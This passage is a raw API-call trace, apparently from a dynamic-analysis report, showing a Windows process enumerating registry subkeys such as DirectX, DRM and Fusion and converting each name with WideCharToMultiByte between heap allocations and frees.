RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.030] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.030] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.030] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.030] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x18b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0227.030] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.030] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x18c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0227.030] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.030] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.030] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.030] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.030] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x18b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0227.030] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.030] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x18c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0227.030] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.030] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.030] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.030] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.030] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x18b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0227.030] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.030] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x18c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0227.030] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.031] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.031] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.031] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.031] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x18b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0227.031] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.031] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0227.031] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.031] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.031] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.031] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.031] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x18b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0227.031] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.031] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x18c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0227.031] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.031] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.031] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.031] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.031] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x18b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0227.031] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0227.031] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x18c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0227.031] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.031] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.031] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.031] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.031] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x18b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0227.031] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.031] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x18c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0227.031] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.031] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.032] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.032] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.032] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x18b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0227.032] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.032] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x18c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0227.032] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.032] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.032] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.032] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.032] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x18b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0227.032] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0227.032] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x18c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0227.032] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.032] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.032] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.032] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.032] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x18b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0227.032] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.032] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x18c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0227.032] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.032] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.032] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.032] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.032] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x18b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0227.032] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.032] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x18c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0227.032] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.032] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.032] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.033] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.033] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x18b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0227.033] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.033] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x18c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0227.033] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.033] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.033] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.033] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.033] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x18b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0227.033] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0227.033] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x18c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0227.033] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.033] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.033] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.033] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.033] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x18b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0227.033] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.033] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0227.033] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.033] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.033] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.033] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.033] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x18b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0227.033] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.033] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x18c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0227.033] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.033] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.033] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.033] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x18b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0227.034] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.034] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x18c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0227.034] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.034] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.034] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.034] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x18b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0227.034] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.034] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x18c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0227.034] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.034] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.034] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.034] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x18b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0227.034] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.034] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0227.034] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.034] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.034] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.034] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x18b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0227.034] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.034] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x18c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0227.034] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.034] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.034] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.034] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x18b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0227.035] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0227.035] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x18c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0227.035] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.035] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.035] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.035] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x18b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0227.035] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.035] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x18c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0227.035] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.035] RtlFreeHeap (HeapHandle=0x180000, 